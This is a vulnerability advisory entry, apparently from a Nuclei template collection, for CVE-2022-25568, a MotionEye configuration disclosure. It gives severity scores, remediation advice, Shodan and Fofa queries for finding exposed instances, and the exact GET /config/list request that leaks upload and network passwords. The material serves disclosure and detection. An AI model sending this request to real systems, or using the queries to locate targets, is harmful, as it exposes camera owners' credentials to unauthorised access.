| Title | MotionEye Config Info Disclosure |
|---|---|
| Author | DhiyaneshDK |
| Severity | High |
| Impact | Unauthenticated attackers can access sensitive MotionEye configuration data including upload passwords and network passwords through the /config/list endpoint when regular user authentication is not configured, potentially compromising camera systems and network access. |
| Remediation | Update MotionEye to version 0.42.2 or later and ensure regular user passwords are properly configured to restrict access. |
| CVSS Score | 7.5 |
| EPSS Score | 0.89768 |
| CVE ID | CVE-2022-25568 |
| CWE ID | CWE-1188 |
| Shodan Query | html:"MotionEye"http.html:"motioneye" |
| Fofa Query | body="motioneye" |
| Tags | cve cve2022 motioneye config motioneye_project vuln |
MotionEye v0.42.1 and below allows attackers to access sensitive information via a GET request to /config/list. To exploit this vulnerability, a regular user password must be unconfigured.
GET /config/list HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25568.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-25568.pcap
N/AN/A